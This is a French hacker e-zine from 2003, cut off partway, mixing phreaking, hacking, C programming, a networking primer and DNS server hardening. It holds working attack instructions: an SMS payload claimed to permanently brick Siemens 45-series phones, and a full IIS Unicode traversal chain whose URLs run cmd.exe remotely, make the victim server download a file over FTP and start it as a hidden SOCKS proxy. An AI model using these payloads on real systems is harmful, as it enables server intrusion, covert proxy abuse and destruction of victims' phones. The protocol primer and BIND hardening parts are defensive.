TDC - The Darkunderground Clan
*************************************************************
\\\\\\\\\\\\\\\\\\\\\\\\ooooooooo:::::DHS
& TDC Mag's N°3:::::ooooooooo//////////////////////
Réaliser le 30/06/2003
**************************Contacts**************************
Rédacteur / Concepteur : A-bone =>
alex.bone@caramail.com
Rédacteur
: Stigmata => se7en-up@caramail.com
***********************************************************
/////////////////////////////////////////////////////////////////////////////////////////////////
SOMMAIRE PROVISOIRE DU 3eme NUMERO.
/////////////////////////////////////////////////////////////////////////////////////////////////
1
- EDITO : TDC
Mag N°3
2 - PHREAKING : CRASHING SIEMENS
PHONES BUFFER OVERFLOW ( EXPLOIT TESTER ).
3 -
HACKING : LA FAILLE UNICODE comment installer un proxy a distance ( EXPLOIT
TESTER ).
4 - PROGRAMMATION : ENCRYPTEUR EN
C
5 - SECURITE : Protections
contre l'exploitation des débordements de buffer (Part I).
/////////////////////////////////////////////////////////////////////////////////////////////////
=====================================================================
1. EDITO.
=====================================================================
Bon, cette fois, c'est (re)parti, l'aventure (re)commence. Les retours que nous avons eu sur le TDC Mag N°1 et 2 ayant tous été positifs, nous avons décidé de lancer le TDC Mag N°3 après 3 mois de silence, axé sur un esprit de sécurité, ce numéro assure une bonne dose d'information combiner entre la sécurité, hacking, programmation est phreaking a l'objectif de concentrer ici le maximum d'informations sur la fiabilité est la sécurité des systèmes d'exploitations connus, car la sécurité informatique concerne tous ceux qui emploient un ordinateur, du programmeur à l'utilisateur, tous les systèmes sont concernés, MacOS, Windows ou les divers Unix pour ne citer que les plus connus.
Nous suivrons ici cette même démarche. Avis aux W4rl0rDz[1] qui fleurissent sur Internet et téléchargent ce mag dans l'espoir de trouver comment pirater la banque de France : ne téléchargez plus ce mag (enfin, si, vous pouvez quand même ;) mais un conseil pour vous faire des économies nous ne donnerons pas la recette miracle clé en main pour pirater les comptes des grands FAI. En revanche, nous expliquons d'où vient le problème, comment cette vulnérabilité est exploitable (sans donner le programme pour le faire en trois clics de mulot).
Telle est notre démarche, et j'espère sincèrement qu'elle permettra à tous les acteurs - l'utilisateur, le programmeur, l'administrateur système ou réseau et surtout le décideur - d'accroître la sécurité des systèmes d'information.
Je
vous laisse découvrir le sommaire et vous souhaite bonne lecture.
=====================================================================
2 . PHREAKING : CRASHING SIEMENS PHONES BUFFER OVERFLOW ( EXPLOIT TESTER
).
=====================================================================
Date
: 02/06/2003
Auteur : A-bone
Sujet : Crashing
siemens phones buffer overflow
.
Produit : Simens
CORP .
Attention
:
Ce mini tutorial n'incite pas à l'augmentation d'acte
de piratage, il permet simplement la compréhension, et la méthode
des techniques utilisé par
les Phreaker's de nos jour.
Je commence par dire que la série 45 des téléphones mobiles Siemens possède un bug très intéressant au niveau de la pile mémoire qui joue un grand rôle au niveau du ces téléphones et leurs systèmes pour effectuer des taches tel que l'agenda, heure, date, enregistrer des numéro sur la mémoire du téléphone et non la carte SIM etc...
L'exploit dont je vous parle je l'ai découvert par hasard en effectuant quelques essayes très simples et je me suis rendu compte qu'en envoyant un message bidon de quelque lignes du codes permet n'importe qui de faire crasher un phone de cette série en question, nous ne sommes pas des crasher mais il est intéressant de connaître ce type de de failles (BOF) alors let's go .
Problème
:
Tout
le monde sait que les téléphones cellulaire sont programmés
en JAVA, et que il est assez facile de crasher un téléphone.
Il
suffit d'écrire un programme puis de l'exécuter sur le téléphone
cible, mais tout depant de la sécurité du téléphone
ce qui n'est pas le cas pour la série 45 de siemens .
Exploit :
Il suffit
d'envoyer un SMS contenant ce code :
%
suivie de 157 . comme ceci:
Ou : % suivi de 157 charactère ( n'importe quel genre de charactére )
Lorsque
la victime recevra le SMS son téléphone s'éteindra et, il
ne s'allumera plus .
Solution :
Aucune
solution à ce BOF car il efface la mémoire du cellulaire ,bien sur
vous pourrez toujours l'envoyer a Siemens CORP qui vous le changera ou vous le
"remboursera" .
...::: Crashing Siemens Phone Buffer Overflow By A-bone :::...
=====================================================================
3 . HACKING : LA FAILLE UNICODE comment installer un proxy a distance
( EXPLOIT TESTER ).
=====================================================================
Date
: 07/05/2003
Auteur : A-bone
Sujet
: Installation d'un proxy sur un serveur IIS distant .
Produit : IIS server
.
Dans ce tutorial
je vais presenter une technique assez peut connus , d'installation de proxy
sur
un serveur IIS non patché ( failles unicodes ).
Information
:
Le bug unicode a été decouvert par la société
eeyes ( www.eeyes.com ), une instruction envoyée au serveur distant permet
l'affichage d'un repertoire virtuel sur le serveur .
Apres l'execution de ce
code voir le disque dur voullu , tel le c:\, d:\ etc .... ( comme j'ai expliquer
dans le TDC Mag N°1 )
Application de la faille :
Pour trouver des serveurs Hackable par unicode rien de tel qu'un petit scaneur, telechargable partout sur internet .
Ma presentation ce porte sur une failles precise : /scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\
Après avoir trouvé un serveur potentiel nous allons lancé la procedure instalation de notre serveur.
http://IPSERVEUR/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\
Avec
ce type d'attaque nous arrivons directement au disque dur c:\
Le but pour nous est de creer un repertoire d'acceuil et de copier le fichier cmd.exe
-
Creation du repertoire :
http://IPSERVEUR/scripts/..%255c../winnt/system32/cmd.exe?/c+mkdir+c:\test
Une
erreur type cgi doit vous apparaitre,
-
maintenant on copie le fichier cmd.exe vers le repertoire test .
http://IPSERVEUR/scripts/..%255c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\test\cmd2.exe
la
commande ci-dessous va nous permette de verifier si le fichier est bien copier
cmd.exe est bien copier dans le repertoire test .
http://IPSERVEUR/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\test\
une
fois la verification éffectué nous allons créer un fichier
texte, celui-ci nous permettra de faire telecharger
au serveur distant le fichier
qui nous est necessaire.
http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+echo+open+Serveur
anonym+21>>+c:\test\1.txt
http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+echo+Login+>>+c:\test\1.txt
http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+echo+password+>>+c:\test\1.txt
http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+echo+get+boundll.exe+>>+c:\test\1.txt
http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+echo+quit+>>+c:\test\1.txt
Une
fois c'est commande d'ajout de ligne dans le fichier 1.txt terminer, une petite
verification s'impose.
http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+type+c:\test\1.txt
vous
devriez voir avoir ceci :
open Serveur anonym 21
user Login
password
boundll.exe
quit
Maintenant
que notre fichier text est bon nous allons lancer le telechargement du fichier.
http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+ftp+-i+-n+-v+-s:c:\test\1.txt
Ici
si la barre de progression de chargement prend de temps a chargé c'est
bon !!
Sinon ou vous avez fait une erreur ou le serveur distant est proteger
par firewall.
La commande suivante permet de verifier l'upload de notre fichier
http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+dir+c:
Les
commandes ci-dessous permettent de créer les paramettres de notre proxy,
socks etc...
http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+dir+c:\test\boundll.exe+--port+6668+--socks5+--daemon+--s_user+A-bone+--s_password+A-bone
Ou
:
http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+c:\inetpub\scripts\boundll.exe+--port+6668+--socks5+--daemon+--s_user+A-bone+--s_password+A-bone
Voila dans mon exmple il nous restera plus qu'a ce connecter l'ip du serveur, port 6668 avec le login et mot de pass : A-bone
Pour
infos voici quelques commandes permettant le paramettrage du proxy
Exemples :
§§ Configuration 1 : "boundll.exe --port 6668 --socks5 --daemon --s_user TEST --s_password TEST"
Ceci lancera le proxy sur le port 6668 et pour l'utiliser il faudra utiliser les login/pass: TEST/TEST
§§ Configuration 2 : "boundll.exe --port 6668 --socks5 --daemon --s_user TEST --s_password Proxy --a_port 6669 --a_user admin --a_password N41r0lF
Ceci
lancera le proxy avec la même configuration que la Configuration 1 mais
en plus, vous pourrez gérer à distance le proxy en vous tapant:
http://ip.du.proxy:6669
l'administration
à distance ne se résumé qu'à deux choses:
- connaitre
les ip des personnes connectées sur le proxy,leur vitesse, et à
quelle ip elles sont connectées
- stopper le proxy
le ficher : boundll.exe
Malgré que les méthodes d'exploit de la failles UNICODE son multiple notre groupe DHS essaye de toujours dévoiler des nouveauté de vous faire connaître quelque chose de réel quelque chose de vrais quelque chose tester , j'espère que c'est constructif et a la prochaines :)
Cordialement
...::: IIS UNICODE Exploit By A-bone :::...
=====================================================================
4 . PROGRAMMATION : ENCRYPTEUR EN C
=====================================================================
Date : 10/06/2003
Auteur
: Nocte
Sujet : ENCRYPTEUR
EN C .
La programmation en C style
BTS est soûlante, vous en conviendrez...
Alors, en considérant
que vous connaissiez déjà les bases élémentaires
de
programmation en C, on va s'intéresser à la pratique. Ainsi, voici
un
programme que nous allons réaliser : un encrypteur en C que nous
allons
décortiquer dans les moindres détails afin d'apprendre
par la pratique
d'une part la méthode de programmation d'un logiciels
(architecture de
celui-ci) et, d'autre part, des bases indispensables.
I.
LE PROGRAMME
----------------
Commençons à étudier le programme : il commence par une série
de #include
et puis par la fonction main:
#include "stdio.h"
#include "conio.h"
#include "dos.h"
void main(void)
{
Ceci est
aussitôt suivi des déclarations des variables :
FILE *sourc,*dest;int
code,verif,car=0,i,j,sur,oct;
char src[60],dst[60];struct date d;
struct
n'est pas tout à fait un type de variable, c'est en fait une structure
de
données : un groupe contenant plusieurs données. FILE est aussi
une
structure mais contenant des informations sur le fichier (son handle, sa
taille,
ses droits d'accès...) alors que date contient 3 données : jour,
mois,
année ; celles-ci sont toujours appelées de la même manière
(respectivement
da_day,da_mon et da_year). Mais comme elles sont comprises
dans une structure,
pour les utiliser il faut utiliser le nom de la structure
juste devant
avec un point. Ici le nom de la structure est d. Ensuite, nous
avons les
premières fonctions d'initialisation :
getdate(&d);clrscr();
La
fonction clrscr() définie dans conio.h sert à effacer l'écran
alors
que la fonction getdate( struct date) permet d'initialiser une structure
date
à la date actuelle, c'est à dire mettre dans da_day le jour, dans
da_mon
le mois et dans da_year l'année.
Ensuite une petite routine permet de
vérifier le millénaire actuel afin
de n'afficher la date qu'avec
l'année sur 2 chiffres :
if(d.da_year<2000)
{d.da_year-=1900;}
else
{d.da_year-=2000;}
Ceci fait, le programme
affiche quelques informations :
printf("\t\tEncrypteur\n");
printf("%d/%d/%d\n",d.da_day,d.da_mon,d.da_year);
On
constate que lors de l'affichage de la date, les variables sont référencées
par
d.da_day,d.da_mon et d.da_year...
Ensuite, une routine nous permet de demander
le nom du fichier que l'utilisateur
souhaite encrypter :
get_name:
printf("Name
of the file to encrypt or decrypt (with full path):\n");
scanf("%s",src);
sourc=fopen(src,"rb");
if(sourc==NULL)
{
printf("\aError
opening file:(C)hange/(Q)uit\n");
ask_erase:
car=getch();
switch(car)
{
case 99:
goto get_name;
case 113:
goto
end;
default:
goto ask_erase;
}
}
A
l'aide de la fonction scanf(), nous récupérons le nom du fichier
d'origine,
lui attribuons le pointeur de type FILE src via la fonction fopen(),
puis
vérifions l'état du pointeur src. Si celui-ci vaut NULL,
cela signifie
qu'il s'est produit une erreur lors du chargement du fichier
Si c'est le
cas, nous demandons à l'utilisateur s'il veut ressaisir
un nom ou quitter
le programme. Pour cela nous utilisons la fonction getch()
combinées à
une structure conditionnelle switch() et_code:
code=0;verif=0;
printf("Entrez votre clé de cryptage:");
get_key:
car=getch();
switch(car)
{
case 13:
goto confirmation_code;
case 27:
clrscr();
printf("Etes-vou sûr ?(Y/N)");
ask_other:
switch(sur)
{
case 121:
sur=getch();
goto end;
case
110:
clrscr();
printf("Fichier à encrypter / décrypter:\n%s\n",src);
goto get_code;
}
goto ask_other;
default:
code +=car;
printf("*");
goto get_key;
}
confirmation_code:
printf("\nConfirmez votre
clé de cryptage:");
reget_key:
car=getch();
switch(car)
{
case 13:
goto test_cod;
case 27:
clrscr();
printf("Etes-vous
sûr ?(Y/N)");
re_ask:
sur=getch();
switch(sur)
{
case 121:
goto end;
case 110:
printf("\nFIchier à
encrypter / décrypter:\n%s\n",src);
goto get_code;
}
goto re_ask;
default:
verif +=car;
printf("*");
goto reget_key;
}
Cette routine permet donc de stocker dans les variables code et vérification
la
somme des codes ASCII des touches frappées par l'utilisateur en tant
que
code. C'est une des failles du programme dans la mesure ou les mots
de passes
"bc" et "ad" seront codés de la même manière
...
test_cod:
if(code==verif)
{
printf("\nOK...starting working");
goto encrypt;
}
else
{
clrscr();
printf("Erreur
de confirmation de la clé de cryptage...");
code=0;verif=0;
printf("\nFichier à encrypter ou décrypter:\n%s\n",src);
goto get_code;
}
Cette routine permet de vérifier que le code rentré
puis confirmé sont
bien les mêmes. Si c'est le cas, le programme
poursuit l'exécution, sinon
il revient à la demande de code après
avoir réinitialisé les variables.
encrypt:
printf("\nNOm du fichier encrypté / décrypté à
générer (full path)
:\n");
scanf("%s",dst);
dest=fopen(dst,"rb");
if(dest!=NULL)
{
fclose(dest);
printf("Ce fichier existe déjà : (O)verwrite / (C)hanger
son nom?");
re_ask2:
sur=getch();
switch(sur)
{
case 99:
clrscr();
goto encrypt;
case 111:
goto crypt;
default:
goto re_ask2;
}
}
Ce passage demande à l'utilisateur le nom du fichier vers
lequel il veut
crypter ou décrypter le fichier source. Si celui-ci existe
déjà, il lui
demande s'il désire l'effacer .Pour cela,
nous essayons d'abord d'ouvrir
le fichier en mode lecture. Si le pointeur contient
NULL, cela veut dire
que le fichier n'existe pas. Sinon, le fichier existe
déjà. Pour la demande
à l'utilisateur, nous utilisons
encore une structure conditionnelle switch().
crypt:
for(car=0;code<0;code+=256);
for(car=0;code>255;code-=256);
fclose(dest);
dest=fopen(dst,"wb");
Cette
routine permet de préparer la procédure principale d'encryptage
en
ouvrant le fichier destination et en préparant la clé de cryptage
en la
remettant sur un octet c'est-à-dire entre 0 et 255 compris. Nous
le faisons
au moyen de la structure conditionnelle for();
cryptage:
oct=fgetc(sourc);
if(feof(sourc))
{goto file_end;}
oct +=code;
for(sur=0;oct<0;oct+=256);
for(sur=0;oct>255;oct-=256);
oct=255-oct;
fputc(oct,dest);
goto
cryptage;
Voici
la routine d'encryptage : celle-ci consiste a lire un octet du fichier,
à
y ajouter le code de l'utilisateur, à le rétablir sur un octet c'est-à-dire
entre
0 et 255 compris et à faire l'inverse bit-à-bit ce qui consiste
à
soustraire la valeur à 255. Le résultat de cette soustraction
est écrite
dans le fichier de destination. Si l'octet lu est le dernier,
on quitte
la rutine d'encryptage sinon on continue. Les fonctions fgetc() et
fputc()
permettent de respectivement lire et écrire un octet dans un
fichier.
file_end:
clrscr();
fcloseall();
Cette série de
2 instructions permet d'une part d'effacer l'écran mais
aussi de fermer
tous les fichiers ouverts grâce à fcloseall(). Ceci est
très
important dans la mesure ou les données ne sont écrites sur le disque
qu'après
fermeture des fichiers .
printf("Delete old file: %s (y/n)?",src);
re_ask3:
i=getch();
switch(i)
{
case 121:
sourc=fopen(src,"rb");
fputc(0,sourc);
fclose(sourc);remove(src);
goto pre_end;
case
110:
goto pre_end;
default:
goto re_ask3;
}
Ici,
nous demandons à l'utilisateur s'il souhaite effacer le fichier source.
Si
c'est le cas, nous n'allons pas directement effacer moyen de la command
remove().
En effet, celle-ci ne protège pas contre les programmes comme
undelete
qui permettrait de retrouver le fichier . Nous allons d'abord
l'ouvrir en écriture
de manière à effacer son contenu puis nous y écrivons
juste
un octet nul , nous le refermons et l'effaçons ensuite avec remove.
Il
est toujours accessible via undelete mais on accède à un fichier
vide.
pre_end:
printf("\nFin du cryptage...\nAutre fichier à encrypter / décrypter
(Y/N)?\n");
re_ask4:
car=getch();
switch(car)
{case 121:
oct=0;goto get_name;
case 110:
goto end;
default:
goto re_ask4;
}
end:
clrscr();
printf("\t
coded by Nocte\
\n\tAll rights reserved Juin 2003");
fcloseall();
}
Alors,
ça vous a plu ? Voilà ce programme fini. Ne vous inquiétez
pas,
nous irons plus loin la prochaine fois et développerons les points
qui
vous auront parus obscurs : pour cela, n'hésitez pas, balancez vos
soucis
sur le forum. J'espère que cet article vous aura appris des choses
intéressantes.
++
Nocte
/ DHS
-------------------------------------
ETUDES
DE PROTOCOLES - POUR LES NULS
-------------------------------------
Les
machines ne communiqueront pas uniquement parce qu'on a conçu un réseau,
tirer
des câbler et mis à jour les fichiers de configuration! Nous allons
ici
étudier les protocoles, que l'on peut définir comme un ensemble
de
régles (dans le but de faire communiquer deux machines ou plus).
Avant
cela, révison des notions fondamentales.
PARTIE 1 : INTRODUCTION
I.
ARCHITECTURE DES RESEAUX, PROTOCOLES ET SERVICES
----------------------------------------------------
Afin de communiquer sur un réseau, les machines utilisent un ensemble
de
règles, conventions, appelées "protocoles". Compte tenu
de
leur complexité (et si l'on se base sur le principe de modularité),
les
protocoles ont une structure en couches afin de faciliter et contrôler
leurs
implémentations. Cela a pour principal atout d'isoler les différents
protocoles
: tout changement introduit dans l'un de ces protocoles n'affecteront
donc
par les fonctionnalités des autres.
Ce modèle offre des interfaces
entre les différentes couhes afin de
permettre aux protocolesd'une couche
donnée d'interagir avec ceux des couches
qu'il lui sont directement
adjacentes. Ces interfaces sont conventionnelles.
Cela a pour avantage que
si deux protocoles de deux couches différentes
ont une structure internes
totalement différentes (car différents contructeurs,
etc.), ils
pourront quand même communiquer ensemble car leur interface
est générique
: on élimine donc d'emblée les éventuels problèmes
d'incompatibilité.
Chacune des couches s'appuie sur des services offerts
par une couche
inférieure et vise à offrir ses services à
la couche qui lui est supérieure.
II.
MODELE OSI
---------------
L'ISO (International Standards Organization)
est un organisme de standardisation
qui a défini une architecture normalisée
pour les réseaux : le modèle OSI
(Open Systems Interconnection).
C'est donc le modèle ISO OSI;) Elle est
décomposée en
7 couches (nous n'en reparlerons pas, le modèle OSI a déjà
été
cité x fois dans THJ) : la couche physique, la couche liaison de données
(divisée
en deux sous-couches : MAC (Medium Access Control) et LLC (Logical
Link Control),
la couche réseau, la couche transport, la couche session,
la couche
présentation et la couche application.
Etudions maintenant le but de
cet article, les protocoles.
NB: Nous excepterons ici l'étude de la
couche physique (qui comprend les
paramètres électriques du médium
etc.) et la couche 2, peut intéressante
dans cet article (notons que
le protocole utiliser pour la couche 2 est
CSMA/CD (norme ISO 802.3)).
III.
LE PROTOCOLE ARP
--------------------
Le protocole ARP (Address Resolution
Protocol) permet à une machine
A de trouver, si elle existe, l'adresse
Ethernet d'une autre machine B,
connectée sur le même réseau,
en donnant uniquement l'adresse Internet
de celle-ci. SOn rôle est de
masquer l'adresse physiques des machines
aux pplications opérant à
un niveau supérieur pourqu'elle ne manipule que
les adresses Internet.
A l'opposé, le protocole RARP (Reverse-ARP), sert
à retrouver
l'adresse Internet d'une machine du réseau dès lors que l'on
a
son adresse Ethernet (ce qui peut être intéressant pour booter une
machine
via le réseau par exemple). On notera que l'utilisateur n'a
pas accès à
ces deux protocoles mais le protocole IP les utilise
quand il en a besoin.
III.
LE PROTOCOLE IP
---------------------
Gardons à l'esprit la différence
en un réseau local LAN et un réseau
étandu WAN (bien qu'on
regroupe souvent ces deux expressions sous le terme
générique
"réseau". Un LAN regroupe un ensemble de machines géographiquement
proche
(aussi appelé "réseau d'entreprise") relié par
un câble
physique : c'est le cas d'un réseau Ethernet. Un WAN
est un amas de LAN
interconnectés entre eux.
Ainsi, le protocole
IP permet au couches supérieures de faire abstraction
de l'ensemble
des LAN qu'il faut parfois traverser pour acheminer un paquet
dans un WAN.
Ces couches supérieures n'ont donc pas à se soucier du trajet
que
les paquets doivent suivre : pour elles, la liaison est directe. Cette
gestion
des routes dans un WAN est appelé "routage". En outre,
les
LAN qui forme le WAN peuventn utiliser des protocoles et des trames
différents
(ils sont alors dits "hétérogènes"). Le protocole
IP
aura alors pour but de découper, puis réassembler ces paquets (ce
mécanisme
est appelé "fragmentation")..
Le service
principal offert par IP est l'émission et la réception de
paquets
de données appelés "datagrammes". Ce service est dit
"non
fiable" dans la mesure où la perte/altération d'un paquet
pendant
son transport ne génère aucun mécanisme permettant de récupérer
ces
erreurs. Les protocoles TCP et UDP se basent dessus.
Je ne redonnerais pas
l'entête d'un paquet IP, déjà expliqué en détail
par
Redils dans le Manuel 7 (Raws Sockets, Part 1).
IV.
LE PROTOCOLE ICMP
-----------------------
IP offre un service non fiable,
nous l'avons dit. Si donc un paquet
est perdu ou qu'une anonmalie se produit
au niveau des fonctionnalités
de IP, celui-ci ne rapporte aucune information
quant à l'erreur.
Afin de parer à cette faiblesse, les concepteurs
ont introduit dans
la famille des protocoles TCP/IP un mécanisme appelé
ICMP (Internet Control
Message Protocol). Sa fonctionnalité principale
est de rapporter, à la
station émettrice du paquet, les erreurs
qui peuvent se produire au niveau
IP. Ainsi, s'il arrive que le protocole IP
n'arrive pas à remplir son rôle
correctement, il l'indique au
protocole ICMP qui émet alors un parquet
à destination de la
station source notifiant la nature qui informe le protocole
IP de l'occurence
de cette erreur. Ce dernier avisera alors. ICMP est aussi
utilisé pour
tester un réseau.
Il existe une douzaine de type de messages ICMP et
chacun est encapsulé
dans un paquet IP. Les plus couramment utilisés
sont :
- ECHO REQUEST & ECHO REPLY sont utilisés pour voir si une
destination
donnée(une station) est accessible et opérationnelle.
A la réception d'un
message ECHO REQUEST, le destinataire doit répondre
ECHO REPLY. (le premier
est un ping et le seconde un pong (réponse à
un ping)).
- DESTINATION UNREACHABLE est généré quand
le protocole IP ne sait pas
comment joindre la station à qui est destiné
un datagramme (quand, par
exemple, il n'y a pas de réponse, du protocole
ARP).
- SOURCE QUENCH est utilisé pour "brider" des stations
qui envoient
un trop grand nombre de datagrammes. A la réception de
ce message, la station
devrait modérer sa cadence d'émission
des datagrammes (une sorte d'anti-flood).
- TIME EXCEEDED est envoyé
quand un datagramme à son TTL 5Time To Live,
osn compteur) à
zéro : il est donc détruit par le routeur par lequel il
transite.
C'est un tout bête time out.
- PROBLEM PARAMETER indique qu'une valeur
illégale a été détectée dans
un champ de
l'entête d'un datagramme.
En ce qui concerne le mécanisme de
fragmentation des paquets IP, si
la machine a laquelle sont envoyés
les datagrammes ne possède pas un mécanisme
de réassemblage
au niveau IP, il faut interdire la fragmentation des datagrammes
qui lui sont
destinés. Le flag DF (Don't Fragment) est utilisé à cet effet
:
positionné à 1, la fragmentaiton est interdite pour les routeurs
suivants.
Il se peut alors qu'il soit impossible d'acheminer un paquet.
PROTOCOLE
DE COUCHE 4 => TCP/UDP
---------------------------------
V. LE PROTOCOLE
TCP
--------------------
Le service offert par TCP (Transmission Control
Protocol) peut être
comparé au téléphone : quand
vous téléphonez à quelqu'un, le dialogue ne
peut s'instaurer
qu'à partir du moment ou l'interlocuteur décroche son
combiné
et dit "Allo" (la connexion est alors rétablie) : on
peut
dialoguer.
Un protocole offrant un tel service est dit "orienté
connexion"
: cela signifie que si deux processus veulent s'échanger
des données par
TCP, ils doivent préalablement établir
une connexion virtuelle. Une fois
celle-ci établit, le TCP garantit
que toutes les données envoyées par le
premier processus seront
reçues sans la moindre erreur par le deuxième
: on aura donc
aucune perte ni modification de données lors du transit.
En outre, TCP
garde l'ordre des données : elles arrive de manière séquentielle.
utre cela, le service offert par TCP possède la caractéristique
d'être
de type "byte-stream" (flux d'octets): si le premier
processus
envoi 5 puis 15 caractères, ceux-ci peuventêtre récupérés
de différentes
manières par le processus distant :
- un lecture
de 20 caractères
- deux lectures de 10 caractères
- deux lectures
de 7 et une lecture de 6 caractères...
Par conséquente, il n'y
a pas de découpage fixe dans le flux de données
véhiculées.
A
noter qu'un même processus peut gérer simultanément plusieurs
connexion
TCP (il peut, par exemple, ouvrir deux connexions avec deux processus
s'exécutant
sur deux machines différentes).
Voici
son entête:
-------
SCHEMA1
-------
Le champ Code bits est composé
des 6 flags : URG, ACK, PSH, RST, SYN, FIN.
Sémantique des champs:
-
SOURCE PORT ET DESTINAITON PORT : no comment.
- SEQUENCE NUMBER et ACK NUMBER
Sont utilisés pour le séquencement et le
contrôle d'erreur
des données (le flag ACK indique si le champ ACK NUMBER
contient une
valeur valide).
- HLen indique la taille du header TCP en mots de 4 octets
(la taille de
la socket TCP ets variable : elle peut être complétée
par une ou plusieurs
options de 4 octets chacunes).
- CHECKSUM est la somme
de contrôle.
- URGENT POINTER (flag URG) est utilisé pour le transport
de "données
urgentes" (le flag URG indique si le champ URGENT
POINTER contient
une valeur valide).
- les flags SYN et FIN sont utilisés
pour l'établissement et la fermeture
des connexions virtuelles.
-
le flag RST sert à signaler au destinataire une demande de re-initialisation
des
connexions qui sont dans un état incertain (SYN dupliqués, panne...)
-
le flag PSH : on ne l'étudiera pas.
- le champ WINDOWS est utilisé
par le contrôle de flux.
VI.
LE PROTOCOLE UDP
--------------------
Le service offert par le protocole
UDP peut être comparé à celui offert
par la poste : quand
vous postez une lettre, et si vous demandez le tarif
habituel, il peut arriver
qu'une lettre se perde. Par ailleurs, il se peut
qu'elle arrive à destination
après une autre lettre qui avait pourtant
été postée
après elle... Pareillement, deux processus peuvent aussi utiliser
le
protocole UDP pour s'envoyer des données. Avec UDP, aucune conneixon
préalable
n'est nécessaire, mais, à l'inverse de TCP, UDP ne donne aucune
garantie
quant à la qualité du service proposé : des données
peuvent être
perdues, arriver dans le désordre, éventuellement
modifiées... C'est à
l'utilisateur d'éventuellement effectuer
ces contrôles. UDP est très différent
de TCP par sa fonction
: il véhicule des paquets de données (alors que
TCP véhicule
un flux de données). Ainsi, si un process envoi 5 puis 15
caractères
par UDP, le process distant ne pourra les lire qu'en deux paquets
séparément.
Ainsi, l'unité d'information avec UDP est le MESSAGE ; avec
TCP, c'est
L'OCTET.
Une
question peut se poser : pourquoi un process choisirait le protocole
TCP ou
UDP. Les criètres de sélection dépendant évidemment
des caractéristique
de TCP et UDP. Par exemple, si l'on veut absolument
un communication fiable
à 100%, on préfèrera TCP... On
prendra aussi en compte le type de données
échangées.
AInsi, le protocole UDP sera plus adpaté pour un process serveur
dont
les messages sont de types "REQUEST-REPLY". Par contre,
un transfert
de fichier étant assimilé à un envoi de flux d'octets, on
choisira
plutôt TCP pour une telle communication.
Finalement, quant au protocole UDP, retenons qu'il ne garantit pas une
communication
fiable et l'unité de transfert est le paquet de données.
VII.
VOILA
-----------
J'espère que cet article qui reprenait, pour les
newbie, les protocoles
de communication vous aura été fort utile.
Il est, certes, bien incomplet
sur certains points et parfois très superficiel,
mais, e pense qu'il constituera
une très bonne base pour ceux voulant
avoir un vision global des ces protocoles
avant un éventuel approfondissement.
Pour tout question, n'hésitez pas,
lâchez vous sur le forum.
++
Nocte
---------------------------
SECURISATION
DU DEMON BIND
---------------------------
Cet article est destiné aux particuliers et administrateurs systèmes
qui
souhaitent protéger leur serveur d'un point potentiellement vulnérables
:
le démon BIND.
Ce démon est utilisé par plusieurs distributions Linux et fournit
le
service des noms de domaines DNS. Etant donné sa complexité
de structure
et de configuration, multiples failles y ont été
découvertes. C'est pour
cela qu'il est courant aujourd'hui d'opérer
dans un environnement chrooté
(le chroot est un peu comme une prison
ou un pirate ne peut pas s'échapper).
Cet article vous serez sérieusement utile si vous deviez fournir un type
d'accès
quelconque au port DNS sur une interface de réseau externe.
1.
SECURITE DE BIND AVANT CHROOT()
-----------------------------------
Avant d'appliquer un chroot named, il faut surtout maintenir à jour vos
paquetages
BIND. Parfois, les patchs s'enchaînent lors de découvertes de
failles
successives. Soyez donc prudent si votre socket BIND est ouvert
aux hôtes
sur une interface de réseau externe.
BIND communique via TCP (pour de grandes requêtes) et UDP (pour les moins
grandes
requêtes). Il va falloir y penser lors du filtrage de paquets avec
ipchains
ou iptables.
Voici une forme générale de ipchains :
Ipchains
-A input -p tcp -s 100.100.100.100/24 \
-d int.ip.number.here domain -j ACCEPT
Ipchains
-A input -p udp -s 100.100.100.100/24 \
-d int.ip.number.here domain -j ACCEPT
Ipchains
-A input -p tcp -s trusted.ext.system.ip \
-d ext.ip.number.here domain -j
ACCEPT
Ipchains -A input -p udp -s trusted.ext.system.ip \
-d ext.ip.number.here
domain -j ACCEPT
ipchains -A input -I ! lo \
-d ext.ip.number.here domain
-j DENY -l
Pour iptables, je ne refais pas le filtrage de port DNS, c'est presque
identique,
juste pour la syntaxe, le premier filtrage donne :
iptables -t filter -A INPUT
-p tcp -s 100.100.100.100/24 \
-d int.ip.number.here -desnation-port domain
\
-j ACCEPT
et la dernière requête, spéciale, donne
:
iptables -t filter -A INPUT -i ! lo \
-d ext.ip.number.here -j DROP
Notez
que cette dernière commande élimine par filtrage tous les paquets
non
exceptés précédemment. Elle doit toujours être unique
et présente en
fin de filtrage.
Autre point important : le fichier named.conf. C'est un vrai El-Dorado
pour
un cracker.
D'abord, il faut empêcher BIND de révéler l'information
concernant sa version
quand un tiers l'interroge car cela représente
50 % du travail du pirate
(90 % si le système est Windows, car il est
bourré de bugs ;). Donc, dans
la section option, il faut avoir :
Options
{
Version "Désolé, le numéro de la version n'est
pas disponible.";
};
Ensuite,
ce fichier impose les contrôle d'accès. Voici les items dans cette
zone,
à vous de choisir après :
- allow_query : détermine quels
hôtes (ou réseaux) auront la permission
de recevoir des requêtes
ordinaires auprès de ce serveur.
- allow_transfer : détermine
quels hôtes (ou réseaux) auront la permission
de recevoir des
transferts de zone à partir de ce serveur.
- allow_recursion : détermine
quels hôtes (ou réseaux) auront la permission
de faire des requêtes
répétitives auprès de ce serveur.
- allow_updates : détermine
quels hôtes (ou réseaux) auront la permission
de soumettre des
MaJ dynamiques de DNS à ce serveur.
- blackhole : détermine quels
hôtes (ou réseaux) seront empêchés d'obtenir
une
communication quelconque avec ce serveur.
Permettre allow_transfer est très
délicat: un pirate pourrait mapper votre
réseau. d'une manière
général, un type de réglages assez judicieux pourrait
être
:
Options {
Version "Désolé, le numéro de la
version n'est pas disponible.";
Allow_query {
Localhost;
